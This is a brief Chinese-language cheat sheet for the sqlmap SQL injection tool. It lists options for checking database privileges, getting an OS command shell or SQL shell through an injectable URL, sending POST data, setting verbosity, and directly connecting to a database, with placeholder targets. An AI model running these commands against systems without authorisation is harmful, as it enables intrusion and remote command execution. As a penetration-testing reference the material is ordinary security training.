Sqlmap注入神器--渗透测试工具

注入神器sqlmap：

 

Sqlmap参数：

1）测试注入点权限
    sqlmap -u [url] --privileges  //测试所有用户的权限
    sqlmap -u [url] --privileges -U sa //测试用户sa的权限
2）执行shell命令
    sqlmap -u [url] --os-cmd="net user" //执行net user命令 
    sqlmap -u [url] --os-shell //系统交互的shell
3）获取当前数据库名称    
    sqlmap -u [url] --current-db
4）执行SQL命令
    sqlmap -u [url] --sql-shell //返回sql交互的shell，可以执行sql语句
5）POST提交方式
    sqlmap -u [url] --data "POST参数"
6）显示详细的等级
    sqlmap -u [url] --dbs -v 1

{
    0：只显示Python的回溯信息、错误信息[ERROR]和关键信息[CRITICAL]；
    1：显示普通信息[INFO]和警告信息[WARNING]；
    2：显示调试信息[DEBUG]；
    3：显示注入使用的攻击荷载；
    4：显示HTTP请求；
    5：显示HTTP响应头；
    6：显示HTTP响应内容。
}
7）注入http请求
    sqlmap -r head.txt --dbs //head.txt内容为http请求
8）直接连接到数据库
    sqlmap -d "mysql://admin@192.168.1.1:3306/testdb" --dbs
9）注入等级
    sqlmap -u [url] --level 3
10）将注入语句插入到指定位置(使用*将sql语句指定插入到指定位置)
    sqlmap -u “http://www.xxser.com/id/2*html” --dbs

 

完整版Sqlmap命令参数：